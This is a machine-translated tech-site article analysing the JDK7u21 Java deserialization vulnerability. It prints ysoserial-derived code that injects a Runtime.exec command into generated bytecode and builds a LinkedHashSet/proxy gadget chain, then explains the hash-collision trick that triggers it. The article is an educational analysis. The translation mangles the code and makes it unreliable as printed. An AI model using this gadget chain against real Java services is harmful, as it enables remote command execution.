Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Example Analysis of JDK7u21 deserialization vulnerability

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article is about a sample analysis of JDK7u21 deserialization vulnerabilities. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.

0x00 TLDR

In the last study of ApacheCommonsCollections, due to the local JRE environment is 1.8, can not reproduce the payload provided by the bosses on the Internet, but in the process of finding information found ysoserial this project, simply speaking, is a framework for the use of Java deserialization vulnerabilities, which integrates a lot of payload for different frameworks. In the process of using this framework, I found a payload of JDK7u21, which exploits the vulnerability of JDK itself, but as the name says, this only works in JDK7u21 and previous versions. After days of debugging and analysis, it is found that the exploit process of this vulnerability is very ingenious and complex, and there are many places worth learning. The author of the vulnerability also wrote a writeup and put it on gist.

This loophole looks very simple, but it is very difficult to debug in practice, and it took several days for the chicken to fully understand it. Part of the reason is that you are not familiar with some of the characteristics of Java, so you still have to try it yourself if you want to learn something. It is useless to read the articles of other big names, and the summary of the article has once again deepened the understanding of the loophole. After all, if you want to explain it to everyone, you need to figure it out for yourself.

0x01 generates Java code dynamically

Before we start the analysis, let's learn the pre-skills. In this PoC, the author dynamically generates a malicious gadgets through javassist to trigger command execution.

Public static TemplatesImpl createTemplatesImpl (final String command) throws Exception {

/ / use the TemplatesImpl class to trigger malicious bytescode

Final TemplatesImpl templates = new TemplatesImpl ()

/ / get container ClassPool and inject classpath

ClassPool pool = ClassPool.getDefault ()

System.out.println ("insertClassPath:" + new ClassClassPath (StubTransletPayload.class))

Pool.insertClassPath (new ClassClassPath (StubTransletPayload.class))

/ / get the compiled class

System.out.println ("ClassName:" + StubTransletPayload.class.getName ())

Final CtClass clazz = pool.get (StubTransletPayload.class.getName ())

/ / insert payload into the static constructor

Clazz.makeClassInitializer ()

.insertAfter ("java.lang.Runtime.getRuntime (). Exec (\")"

+ command.replaceAll ("\", "\\")

+ "\"); ")

/ / set a name for the payload class

/ / unique name to allow repeated execution (watch out for PermGen exhaustion)

Clazz.setName ("ysoserial.Pwner" + System.nanoTime ())

/ / get the bytecode of this class

Final byte [] classBytes = clazz.toBytecode ()

/ / inject class bytes into instance

Reflections.setFieldValue (

Templates

"_ bytecodes"

New byte [] [] {

ClassBytes

ClassFiles.classAsBytes (Foo.class)

});

/ / required to make TemplatesImpl happy

Reflections.setFieldValue (templates, "_ name", "Pwnr")

Reflections.setFieldValue (templates, "_ tfactory", new TransformerFactoryImpl ())

/ / as long as this method is triggered, the injected bytecodes can be executed.

/ / templates.getOutputProperties ()

Return templates

}

The instructions are given in the comments, and by carefully constructing a TemplatesImpl object and finding a way to trigger the object's getOutputPropertites () method, the command we constructed can be executed.

0x02 dynamic agent

The dynamic proxy in Java is very flexible. If you only need to specify an InvocationHandler object for a set of interfaces, then when the interface method is called, it will be transferred to the invoke method of the handler object, in which you can execute the original method through reflection or do some other operations.

All Handler classes need to implement the interface InvocationHandler. When we call a method through a proxy object, the call will be transferred to the invoke method of Handler, which is signed as follows:

Object invoke (Object proxy, Method method, Object [] args) throws Throwable

Proxy: the real object being represented

Method: the Method object of the real object method to be called

Args: parameter when calling a real object method

After you have created the InvocationHandler object, you can create a dynamic proxy using the Proxy.newProxyInstance method, which is signed as follows:

Public static Object newProxyInstance (ClassLoader loader, Class [] interfaces, InvocationHandler h) throws IllegalArgumentException

Loader: defines which ClassLoader object loads the generated proxy object

Interfaces: an array of Interface objects that represents a set of interfaces to be provided to objects that need proxies

H: InvocationHandler object, indicating which InvocationHandler object the current dynamic proxy object should be associated with when calling a method

Let's look at an example of a dynamic agent:

/ / APIs to be implemented

Interface ISubject {

Public void hello (String str)

}

/ / actual objects that need to be proxied

Class SubjectImpl implements ISubject {

Public void hello (String str) {

System.out.println ("SubjectImpl.hello ():" + str)

}

}

/ / Handler object

Class Handler implements InvocationHandler {

Private Object subject

Public Handler (Object subject) {

This.subject = subject

}

Public Object invoke (Object object, Method method, Object [] args) throws Throwable {

System.out.println ("before!")

Method.invoke (this.subject, args)

System.out.println ("after!")

Return null

}

}

Public class DynamicProxy {

Public static void main (String [] args) {

SubjectImpl subject = new SubjectImpl ()

InvocationHandler tempHandler = new Handler (subject)

/ / create an agent

ISubject iSubject = (ISubject) Proxy.newProxyInstance (ISubject.class.getClassLoader (), new Class [] {ISubject.class}, tempHandler)

ISubject.hello ("world!")

}

}

When the proxy is created, when we call the iSubject.hello method, it will be assigned to the invoke method for execution. The output is as follows:

Before!

SubjectImpl.hello (): world!

After!

0x03 vulnerability analysis

Having said that, let's analyze this vulnerability together. This PoC is modified on the basis of payload in ysoserial. It may be easier to understand. Paste the main part of PoC first:

Public Object getObject (final String command) throws Exception {

/ / generate malicious templates and find a way to trigger templates.getOutputProperties (); method

Object templates = Gadgets.createTemplatesImpl (command)

String zeroHashCodeStr = "f5a5a608"

/ / create a new HashMap

HashMap map = new HashMap ()

Map.put (zeroHashCodeStr, "foo")

/ / create a handler with the handler,AnnotationInvocationHandler used by the agent as the dynamic proxy

/ / after the proxy is created, all methods that call the proxied object will call the invoke method of AnnotationInvocationHandler

Constructor ctor = Class.forName ("sun.reflect.annotation.AnnotationInvocationHandler"). GetDeclaredConstructors () [0]

Ctor.setAccessible (true)

InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance (Templates.class, map)

/ / create an agent

/ / all subsequent methods that call the Templates interface will be transferred to the tempHandler.invoke method

Templates proxy = (Templates) Proxy.newProxyInstance (JDK7u21.class.getClassLoader (), templates.getClass () .getInterfaces (), tempHandler)

Reflections.setFieldValue (templates, "_ auxClasses", null)

Reflections.setFieldValue (templates, "_ class", null)

LinkedHashSet set = new LinkedHashSet (); / / maintain order

Set.add (templates); / / TemplatesImpl class objects that store malicious java bytecode data

Set.add (proxy); / / proxies the object of the Templates interface

Map.put (zeroHashCodeStr, templates)

/ / the final payload is stored in set. You only need to deserialize this to trigger it.

Return set

}

Most of the code has written some comments, which should be understood as a whole, and then take a closer look at how the command execution is triggered.

In fact, HashSet is essentially a HashMap,key that we store data, and value is a static Object object.

When LinkedHashSet is unsequenced, the readObject method of its parent class HashSet is called.

According to the logic of this part, you can see that during deserialization, templates and proxy are added to the map in turn, and continue to follow the put method:

A key comparison is the 475 lines with breakpoints in the figure. Here we need to continue to trigger the key.equals (k) method. Let's not talk about the previous decision for a while and continue to follow up. Because we proxy the templates interface, when we call templates.equals (), we naturally call the invoke method of handler, that is, the proxy.equals (templates) method.

If you continue to follow up the equalsImpl method, you will find that this method will call each method of Templates in turn (if you don't quite understand, you can follow it here), so it will call the Templates.getOutputProperties () method we mentioned earlier, resulting in command execution.

At this point, the whole process has been worked out, and the overall call chain is like this, refer to the diagram of the vulnerability author:

To simplify, it looks like this:

LinkedHashSet.readObject ()

HashSet.readObject ()

HashMap.put ()

Templates.equals ()

AnnotationInvocationHandler.invoke ()

AnnotationInvocationHandler.equalsImpl ()

Method.invoke ()

TemplatesImpl.getOutputProperties ()

As to why you can execute the command by calling TemplatesImpl.getOutputProperties (), you can follow it yourself. The author of the loophole also gives the call chain, which is not very difficult to understand, so I won't explain it here.

0x04 bypasses hash

We have just mentioned a very important judgment that we must bypass the previous hash judgment if we want to use the equals method.

E.hash = = hash & & ((k = e.key) = = key | | key.equals (k))

In order to call the final key.equals method, according to the logical short-circuit principle (google yourself if you don't know what a short-circuit principle is), you must make e.hash = = hash as true and (k = e.key) = = key as false.

When you execute put (proxy), there is actually the first templates in map, and the hash here is proxy.hashCode,e.hash is templates.hashCode, that is, you need to meet the condition of proxy.hashCode () = = templates.hashCode ().

Templates.hashCode () is better to say that this class is not overridden and calls the default hashCode method. When proxy.hashCode () is called, it jumps to the AnnotationInvocationHandler.invoke () method and takes a look at how it handles the hashCode () method.

The this.hashCodeImpl () method is called on line 48, and after further follow-up, it is found that the method traverses from memberValues and calculates key.hashCode () in turn, and this memberValues is passed in when we initialize AnnotationInvocationHandler:

/ / create a new HashMap

HashMap map = new HashMap ()

Map.put (zeroHashCodeStr, "foo"); / / OK without this line

/ / create a handler with the handler,AnnotationInvocationHandler used by the agent as the dynamic proxy

/ / after the proxy is created, all methods that call the proxied object will call the invoke method of AnnotationInvocationHandler

Constructor ctor = Class.forName ("sun.reflect.annotation.AnnotationInvocationHandler"). GetDeclaredConstructors () [0]

Ctor.setAccessible (true)

InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance (Templates.class, map)

...

Map.put (zeroHashCodeStr, templates)

The key of this map is the special string "f5a5a608" we set, and the hashCode of this string is 0, which is very interesting. And the whole seemingly long cycle actually becomes

Var1 + = 127* (0 ^ entry.getValue () .hashCode ())

So what is this value? This is the templates we constructed. The whole hash calculation becomes templates.hashCode (), so proxy.hashCode () = = templates.hashCode () is established. If you don't understand, you are advised to debug it manually.

The second condition, e.key = = key, is obviously different, one is templates and the other is proxy, so this condition is false, which will eventually call the equals method.

Thank you for reading! This is the end of this article on "sample analysis of JDK7u21 deserialization vulnerabilities". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, you can share it for more people to see!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report